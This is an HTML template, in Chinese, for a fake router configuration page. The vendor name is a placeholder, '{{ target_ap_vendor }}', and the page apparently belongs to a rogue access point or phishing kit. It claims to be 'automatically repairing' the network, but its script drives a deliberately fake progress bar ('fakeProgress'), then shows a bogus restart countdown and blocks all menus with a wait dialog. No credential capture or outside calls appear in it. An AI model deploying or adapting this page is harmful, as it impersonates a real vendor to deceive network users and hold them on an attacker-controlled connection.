<!DOCTYPE html>
<html lang="en">
<head>
  <title>路由器配置页面</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="bootstrap.min.css">
  <script src="jquery.min.js"></script>
  <script src="bootstrap.min.js"></script>

  <!-- CSS -->
  <style type="text/css">

    /* Sticky footer styles
    -------------------------------------------------- */

    html,
    body {
          height: 100%;
          /* The html and body elements cannot have any padding or margin. */
        }

        /* Wrapper for page content to push down footer */
        #wrap {
          min-height: 100%;
          height: auto !important;
          height: 100%;
          /* Negative indent footer by it's height */
          margin: 0 auto -60px;
        }

        /* Set the fixed height of the footer here */
        #push,
        #footer {
          height: 60px;
        }
        #footer {
          background-color: #f5f5f5;
        }

        /* Lastly, apply responsive CSS fixes as necessary */
        @media (max-width: 767px) {
          #footer {
            margin-left: -20px;
            margin-right: -20px;
            padding-left: 20px;
            padding-right: 20px;
          }
        }

        #clockdiv{
	         font-family: sans-serif;
	         color: #fff;
	         display: inline-block;
	         font-weight: 100;
	         text-align: center;
	         font-size: 30px;
         }

        #clockdiv > div{
           padding: 10px;
           border-radius: 3px;
	         background: #00BF96;
	         display: inline-block;
         }

        #clockdiv div > span{
          padding: 15px;
	        border-radius: 3px;
	        background: #00816A;
	        display: inline-block;
        }

      .smalltext{
	       padding-top: 5px;
	       font-size: 16px;
       }

  </style>
</head>
<body>

<!-- Start navigation bar -->
<!-- To change the navigation bar color change background attribute -->
<nav class="navbar navbar-inverse" style="background:RoyalBlue;margin-top:2em;">
  <div class="container-fluid">
    <div class="navbar-header">
      <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#myNavbar">
        <span class="icon-bar"></span>
        <span class="icon-bar"></span>
        <span class="icon-bar"></span>
      </button>
      <!--
      <a class="navbar-brand"><img style="background:transparent" src="Your LOGO" alt="Logo"></a>
      -->
    </div>
    <div class="collapse navbar-collapse" id="myNavbar">
      <ul class="nav navbar-nav">
        <li class="dropdown" data-toggle="modal" data-target="#upgrade-only"><a class="dropdown-toggle"
                                                                               data-toggle="dropdown" href="#" style="color:white">设置 <span class="caret"></span></a>
          <ul class="dropdown-menu">
            <li><a href="#">基本设置</a></li>
            <li><a href="#">DDNS</a></li>
            <li><a href="#">MAC 地址克隆</a></li>
            <li><a href="#">高级</a></li>
          </ul>
        </li>
        <li class="dropdown" data-toggle="modal" data-target="#upgrade-only"><a class="dropdown-toggle"
                                                                               data-toggle="dropdown" href="#" style="color:white">无线 <span class="caret"></span></a>
          <ul class="dropdown-menu">
            <li><a href="#">基本设置</a></li>
            <li><a href="#">安全设置</a></li>
            <li><a href="#">MAC 过滤</a></li>
            <li><a href="#">高级设置</a></li>
          </ul>
        </li>
        <li class="dropdown" data-toggle="modal" data-target="#upgrade-only"><a class="dropdown-toggle"
                                                                               data-toggle="dropdown" href="#" style="color:white">安全 <span class="caret"></span></a>
          <ul class="dropdown-menu">
            <li><a href="#">防火墙</a></li>
            <li><a href="#">VPN</a></li>
          </ul>
        </li>
        <li class="dropdown" data-toggle="modal" data-target="#upgrade-only"><a class="dropdown-toggle"
                                                                               data-toggle="dropdown" href="#" style="color:white">联网控制 <span class="caret"></span></a>
          <ul class="dropdown-menu">
            <li><a href="#">Internet 控制</a></li>
          </ul>
        </li>
        <li class="dropdown" data-toggle="modal" data-target="#upgrade-only"><a class="dropdown-toggle"
                                                                               data-toggle="dropdown" href="#" style="color:white">管理 <span class="caret"></span></a>
          <ul class="dropdown-menu">
            <li><a href="#">管理员</a></li>
            <li><a href="#">日志</a></li>
            <li><a href="#">诊断</a></li>
            <li><a href="#">恢复出厂设置</a></li>
            <li><a href="#">高级配置</a></li>
          </ul>
        </li>
        <li class="dropdown" data-toggle="modal" data-target="#upgrade-only"><a class="dropdown-toggle"
                                                                               data-toggle="dropdown" href="#" style="color:white">状态 <span class="caret"></span></a>
          <ul class="dropdown-menu">
            <li><a href="#">路由器</a></li>
            <li><a href="#">本地网络</a></li>
            <li><a href="#">无线</a></li>
            <!--<li><a href="#">高级路由</a></li>-->
          </ul>
        </li>
      </ul>
    </div>
  </div>
</nav>
<!-- End navigation bar -->

  <!-- Start firt phase -->
  <div class="container">
    <div>
      <h2 class="text-center" style="color:CornflowerBlue">自动修复中</h2>
      <p class="lead">正在自动修复路由器网络配置，
                      请不要中途重启路由器或关闭路由器电源。</p>
    </div>

    <!-- Start porgress bar -->
    <div id="instance" class="progress">
      <div class="progress-bar progress-bar-striped active" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" style="width: 0%;">
        <span class="sr-only">0% 已完成</span>
      </div>
    </div>
    <!-- End porgress bar -->

    <div id="push"></div>
  </div>
<!-- End first phase -->

<!-- Start second phase -->
  <div class="container show-on-done hidden">
    <div class="row content">
      <div class="col-sm">
        <div>
          <p class="lead">  网络修复完成！路由器将自动重启，请稍后重新连接网络。</p>
        </div>
      </div>

      <!-- start of the countdown -->
      <div class="col-sm text-center">
        <div id="clockdiv">
          <div>
            <span class="minutes"></span>
            <div class="smalltext">分</div>
          </div>
          <div>
            <span class="seconds"></span>
            <div class="smalltext">秒</div>
          </div>
        </div>
      </div>
      <!-- end of the countdown -->

    </div>
    <div id="push"></div>
  </div>
  <!-- End second phase -->

  <!-- Start footer -->
  <footer class="footer">
    <div class="container text-center">
      <p class="text-muted">©  {{ target_ap_vendor }} , 版权所有</p>
    </div>
  </footer>
  <!-- End footer -->

  <!-- Start upgrade first message -->
  <div class="modal fade" id="upgrade-only" role="dialog">
    <div class="modal-dialog modal-sm">
      <div class="modal-content">
        <div class="modal-header">
          <button type="button" class="close" data-dismiss="modal">&times;</button>
          <h4 class="modal-title">提示</h4>
        </div>
        <div class="modal-body">
          <p>请等待修复结束！</p>
        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-default" data-dismiss="modal">关闭</button>
        </div>
      </div>
    </div>
  </div>
  <!-- End upgrade first message -->

<script>
/*
  Increases the progress bar
*/
function fakeProgress(container, durationInMs, onDone) {
    var intervalInMS = 200;
    var doneDelay = intervalInMS * 2;
    var bar = container.find('.progress-bar');
    var srOnly = bar.find('.sr-only');
    var percent = 0;

    var interval = setInterval(function updateBar() {
        percent += 100 * (intervalInMS/durationInMs);
        bar.css({width: percent + '%'});
        bar['aria-valuenow'] = percent;
        srOnly.text(percent + '% 已完成');

        if (percent >= 100) {
            clearInterval(interval);
            setTimeout(function() {
                if (typeof onDone === 'function') {
                    onDone();
                }
            }, doneDelay);
        }
    }, intervalInMS);
}

/*
  Used to show content after the progress bar is done
*/
function onDone() {
    $('.show-on-done').removeClass('hidden');

    var deadline = new Date(Date.parse(new Date()) + 30 * 1000);
    initializeClock('clockdiv', deadline);
}

/*
  Calculates the remaning time
*/
function getTimeRemaining(endtime) {
  var t = Date.parse(endtime) - Date.parse(new Date());
  var seconds = Math.floor((t / 1000) % 60);
  var minutes = Math.floor((t / 1000 / 60) % 60);

  return {
    'total': t,
    'minutes': minutes,
    'seconds': seconds
  };
}

/*
  Creates the clock related content
*/
function initializeClock(id, endtime) {
  var clock = document.getElementById(id);
  var minutesSpan = clock.querySelector('.minutes');
  var secondsSpan = clock.querySelector('.seconds');

  function updateClock() {
    var t = getTimeRemaining(endtime);


    minutesSpan.innerHTML = ('0' + t.minutes).slice(-2);
    secondsSpan.innerHTML = ('0' + t.seconds).slice(-2);

    if (t.total <= 1) {
      clearInterval(timeinterval);
    }
  }

  // updating the countdown
  updateClock();
  var timeinterval = setInterval(updateClock, 1000);
}

// speed of the progress bar in milliseconds
var duration = 25000;

// start the progress bar
fakeProgress($('#instance'), duration, onDone);

</script>
</body>
</html>
